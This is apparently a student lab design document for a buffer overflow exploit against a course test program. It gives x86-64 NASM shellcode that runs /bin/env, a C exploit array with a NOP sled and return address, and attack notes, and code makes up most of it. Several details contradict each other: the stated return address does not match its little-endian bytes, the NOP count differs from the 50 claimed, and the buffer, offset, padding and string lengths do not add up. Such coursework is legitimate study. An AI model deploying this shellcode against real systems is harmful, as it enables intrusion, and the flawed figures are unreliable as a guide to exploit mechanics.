Lab 5 – Design Document

Bradley Stephen

Ben Wyand

Overview

This document outlines the methodology used to compromise the server program through a buffer overflow exploit. It provides details about the string length, stack layout, and attack mechanics, along with the NASM source code and source code for the selfcomp.c and client.c programs.

Attack Description

Exploit Mechanism

The attack exploits a stack-based buffer overflow in the doTest function, where an oversized input (compromise) overwrites the return address on the stack. By carefully crafting the overflow string, the attacker redirects execution to the injected shellcode, which is designed to execute /bin/env.

Key Points

- **Buffer Size:** The vulnerable buffer is 136 bytes.
- **Exploit String Length:** The total length of the string is 158 bytes, including the NOP sled, shellcode, and the return address.
- **Return Address:** The correct return address is 0x7fffffffdeb8 (little-endian: 0x40, 0xdf, 0xff, 0xff, 0xff, 0x7f).
- **Shellcode:** The injected shellcode launches /bin/env to exploit the server's environment variables.

Buffer Overflow Details

1. **NOP Sled:** The first 50 bytes of the string are NOP instructions (0x90) to increase the likelihood of hitting the shellcode.
2. **Shellcode:** The next section contains the NASM-assembled shellcode to execute /bin/env.

3. **Padding:** Extra padding is added to fill the buffer to the return address.
4. **Return Address:** The address to redirect execution is added at the end of the string.

Source Code

selfcomp.c

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void doTest();

int main(int argc, char *argv[]) {
  putenv("MD5=8b7588b30498654be2626aac62ef37a3");

  // Call the vulnerable function
  doTest();

  exit(0);
}

char compromise[158] = {
  // NOP sled
  0x90, 0x90, 0x90, 0x90, 0x90, // (truncated for brevity)
  // Shellcode
  0x48, 0x31, 0xC0, /* xor rax,rax */
```

```
    // (rest of shellcode as above)
    // Return address
    0x40, 0xdf, 0xff, 0xff, 0xff, 0x7f,
};

void doTest() {
    char buffer[136];
    for (int i = 0; compromise[i]; i++) {
        buffer[i] = compromise[i];
    }
}
```

NASM Source Code for Shellcode

```
section .text
global _start

_start:
    ; NOP sled
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
```

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

nop

```
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

; Shellcode to execute /bin/env
xor rax, rax             ; Clear RAX
push rax                 ; Push NULL byte
mov rax, 0x766e652f6e69622f   ; "/bin/env" string
push rax                 ; Push string to stack
mov rdi, rsp               ; Set RDI to point to the string
xor rax, rax             ; Clear RAX
push rax                 ; Push NULL terminator
push rdi                 ; Push pointer to /bin/env
```

```
mov rsi, rsp              ; Set RSI to point to arguments
xor rdx, rdx              ; Clear RDX (no environment variables)
mov dx, 0x7fff            ; Partial environment address
shl rdx, 32               ; Shift to form 64-bit address
mov ecx, 0xf7fbe6ff       ; Partial stack address
xor cl, cl                ; Clear lower byte of ECX
or rdx, rcx               ; Combine RDX and RCX
mov rdx, [rdx]            ; Dereference RDX for environ
mov al, 0x3b              ; Syscall for execve
syscall                   ; Execute syscall

; Exit syscall
xor rdi, rdi              ; Set RDI to 0
mov al, 0x3c              ; Syscall for exit
syscall                   ; Execute syscall

; Padding for overflow protection
times 48 db 0xFF          ; 48 bytes of padding (0xFF)

; Correct return address (0x7fffffffdeb8 in little-endian format)
db 0x40, 0xdf, 0xff, 0xff, 0xff, 0x7f
```

Testing and Observations

1. **String Length:** The exploit string is 158 bytes, crafted to fit the buffer and overwrite the return address.
2. **Return Address Location:** The return address is located at offset 144 in the stack.

3. **Execution:** The attack redirects execution to the NOP sled and subsequently to the shellcode.
4. **Environment Variables:** The MD5 variable was successfully added and visible via /bin/env.

Conclusion

The attack successfully demonstrates the mechanics of a buffer overflow to compromise a vulnerable server. Further refinements may include improving error handling and additional protections to prevent stack corruption.